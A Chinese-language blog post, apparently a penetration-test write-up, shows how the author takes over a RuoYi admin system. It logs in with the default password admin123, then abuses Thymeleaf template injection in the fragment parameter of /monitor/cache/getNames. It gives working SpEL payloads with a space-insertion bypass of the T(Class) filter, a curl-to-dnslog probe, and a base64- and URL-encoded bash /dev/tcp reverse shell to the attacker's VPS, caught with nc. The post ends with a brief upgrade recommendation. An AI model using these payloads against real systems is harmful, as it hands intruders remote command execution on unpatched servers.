首页 > 系统相关 >记一次攻防演练中的若依(thymeleaf 模板注入)getshell

记一次攻防演练中的若依(thymeleaf 模板注入)getshell

时间:2024-05-27 16:44:13浏览次数:24  
标签:getshell 65% monitor fragment cache thymeleaf getNames 模板

记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。

0x01 漏洞发现

首先,我会先把目标的二级域名拿去使用搜索引擎来搜索收集到包含这个目标二级域名的三级域名或者四级域名的网站。

这样子可以快速的定位到你所要测试的漏洞资产。

1、推荐三个比较实用的搜索引擎:

奇安信-鹰图平台:https://hunter.qianxin.com/

360-quake: https://quake.360.net/

fofa: https://fofa.info/

搜索语法:domain="二级域名"

2、通过一番搜索查找翻阅,幸运女神光顾~~~。

通过搜索引擎搜索到包含目标的二级域名找到关于目标的的一个三级域名,而且还是漏洞百出的若依系统。

经典:你若不离不弃,我必生死相依

image-20240411143521002

基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖

image-20240411143721238

0x02 漏洞分析

Thymeleaf模板注入漏洞简介

Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。

漏洞点

Server-Side Template Injection简称SSTI,也就是服务器端模板注入。

我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。在Controller层,我们关注两点:1、URL路径可控。2、return内容可控。所谓可控,也就是接受输入。

1、URL路径可控

@RequestMapping("/hello")
public class HelloController {
  @RequestMapping("/whoami/{name}/{sex}")
  public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
    return "Hello" + name + sex;
  }
}

return内容可控

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
  mmap.put("cacheNames", cacheService.getCacheNames());
  return prefix + "/cache::" + fragment;
}
return内容可控:
\_\_${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}\_\_::.x
URL路径可控:
\_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x

2、Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:

http://xxxxxx/monitor/cache/getNames

http://xxxxxx/monitor/cache/getKeys

http://xxxxxx/monitor/cache/getValue

http://xxxxxx/demo/form/localrefresh/task

通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment;
}

简单理解:接收到 fragment 后,在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue ,请求参数均为fragment 。

这四段接口方法中,都使用了thymeleaf的语法:

"/xxx::" + fragment;

我们构造fragment的值为:

url编码:
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d
                    ↓
${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")}

当我们构造的模板片段被thymeleaf解析时,thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload

image-20240411143949013

但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)"或者"new SomeClass"

image-20240411144014914

这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。

因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。

漏洞影响:RuoYi <= v4.7.1

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

0x03 开始战斗

1、回到之前的若依登录框,若依的管理系统肯定要试试看弱口令啦,用户admin,密码admin123。

image-20240411130206602

非常nice,弱口令yyds,登录进入若依系统后台。

image-20240411130435483

经过一番测试,后台定时任务执行不了命令,反弹shell不成功,更换了几个不同的payload都没效果,太菜了,咱也不知道为什么,其他的常见的漏洞任意文件读取、SQL注入、未授权访问啥的都没有,所以才会来测试一番Thymeleaf模板注入远程命令执行。

四个接口路径都可以访问,我们使用第一个接口路径进行测试。

/monitor/cache/getNames
​
/monitor/cache/getKeys
​
/monitor/cache/getValue
​
/demo/form/localrefresh/task

image-20240411130537524

2、在若依管理系统后台直接访问/monitor/cache/getNames接口路径,使用burp suite拦截访问/monitor/cache/getNames路径的数据包。

访问/monitor/cache/getNames

image-20240411143414247

使用burp suite拦截数据包

image-20240411132629456

使用burp suite上自带的编码工具,使用base64编码反弹shell命令

/bin/bash -i >& /dev/tcp/vps IP/5566 0>&1

image-20240411131819185

构造fragment的值,把上面使用base64的编码放入下面的payload编码成url编码

${T (java.lang.Runtime).getRuntime().exec("bash \-c {echo,L2Jpbi9iYXNooC1poD4moC9kZXYvdGNwL3ZwcyBJUC81NTY2oDA+JjE=}|{base64,-d}|{bash,-i}")}

image-20240411131912908

把前面拦截到的访问/monitor/cache/getNames路径的数据包更改请求方式为POST,更改完请求方式后在访问路径后面拼接上我们刚刚经过url编码构造fragment的值

image-20240411132524501

/monitor/cache/getNames?fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%a0%5c%2d%63%20%7b%65%63%68%6f%2c%4c%32%4a%70%62%69%39%69%59%58%4e%6f%6f%43%31%70%6f%44%34%6d%6f%43%39%6b%5a%58%59%76%64%47%4e%77%4c%33%5a%77%63%79%42%4a%55%43%38%31%4e%54%59%32%6f%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%7d

 

3、在vps上面使用nc监听5566端口,接收反弹shell。

image-20240411132300910

把刚刚更改了请求方式为POST拼接上url编码构造fragment的值的数据包发送出去,可以发到重发器多发几遍。

image-20240411132859774

返回包返回状态200,应该是执行成功了。

image-20240411134733041

回到vps查看监听状态,nice!!!成功,拿下拿下。

image-20240411142652415

漏洞挖掘的过程中要有耐心、细心,把能试的漏洞都试一试,反正试一试又不要钱,说不定就getshell了呢。。。。。。

0x04 修复建议

把若依系统更新到最新版本。

更多网安技能的在线实操练习,请点击这里>>

  

标签:getshell,65%,monitor,fragment,cache,thymeleaf,getNames,模板
From: https://www.cnblogs.com/hetianlab/p/18215920

相关文章

  • 微信小程序基础 --模板语法(4)
    模板语法1、wxml视图结构1.1概述开发文档:https://developers.weixin.qq.com/miniprogram/dev/framework/quickstart/code.html#WXML-%E6%A8%A1%E6%9D%BF从事过网页编程的人知道,网页编程采用的是HTML+CSS+JS这样的组合,其中HTML是用来描述当前这个页面的结构,CS......
  • BUUCTF SSTI模板注入
    BUUCTFSSTI模板注入基础原理SSTI模板注入(Server-SideTemplateInjection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的一般特征函数:render_template_stringSSTI_flask_labs可以看到数据被解析了,那么怎么注......
  • 自用:常见算法竞赛/刷题问题 & 模板
    以下是我平常刷题遇到的部分常见问题,随手记录一下。(不定时更新)基本算法二维前缀和for(inti=1;i<=m;++i){ for(intj=1;j<=n;++j) { pre[i][j]=pre[i-1][j]+pre[i][j-1]-pre[i-1][j-1]+nums[i][j]; }}//异或版本for(inti=1;i......
  • 线段树结构体模板
    线段树是一种维护区间和等功能的数据结构structSegTree{ structnode{ intl,r,sum,len,laz; }tree[N<<2]; inlinevoidpushdown(intu){ intlson=u<<1,rson=lson|1; tree[lson].laz+=tree[u].laz; tree[rson].laz+=tree[u].laz; tree[lson].sum+=tree[lson].len......
  • 【知识点】深入浅出STL标准模板库
    前几天谈论了许多关于数论和数据结构的东西,这些内容可能对初学者而言比较晦涩难懂(毕竟是属于初高等算法/数据结构的范畴了)。今天打算来讲一些简单的内容-STL标准模板库。STL标准模板库C++标准模板库(StandardTemplateLibrary,STL),是C++语言非常重要的一个构成部分......
  • 一个模板元函数来检查一个类是否有一个特定的成员
    通过创建一个模板元函数来检查一个类是否有一个特定的成员。以下是一个例子:#include<type_traits>template<typenameT,typename=void>structhas_type_member:std::false_type{};template<typenameT>structhas_type_member<T,std::void_t<typenameT::typ......
  • 『C++初阶』第四章--- 模板初级
    1.泛型编程    如何实现一个适合于所有类型的通用的交换函数呢?voidSwap(int&left,int&right){inttemp=left;left=right;right=temp;}voidSwap(double&left,double&right){doubletemp=left;left=right;right=temp;}voidSwap(ch......
  • gin框架模板渲染
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录gin框架模板渲染自定义模板函数静态文件处理gin框架模板渲染这个目录的路径要放正确(虽然我也不知道为什么突然就解决了)==错误模板====正确版本==packagemainimport( "net/http"......
  • Django模板层之模板语法
    1.变量变量输出语法{{var}}当模版引擎遇到一个变量,将计算这个变量,然后将结果输出变量名必须由字母、数字、下划线(不能以下划线开头)和点组成当模版引擎遇到点("."),会按照下列顺序查询:字典查询,例如:foo["bar"]属性或方法查询,例如:foo.bar数字索引查询,例如:foo[bar]如......
  • 网页设计模板网站 HTML5网站模板
    在当今数字化时代,网页设计已成为企业和个人展示其品牌形象、分享内容以及与用户互动的重要渠道。为了满足不同用户的需求,HTML5网站模板应运而生,为网页设计师和开发者提供了强大而灵活的基础框架。成品网站模板:https://www.yunbuluo.net/pbootcms(已发布500多款)HTML网页模板:ht......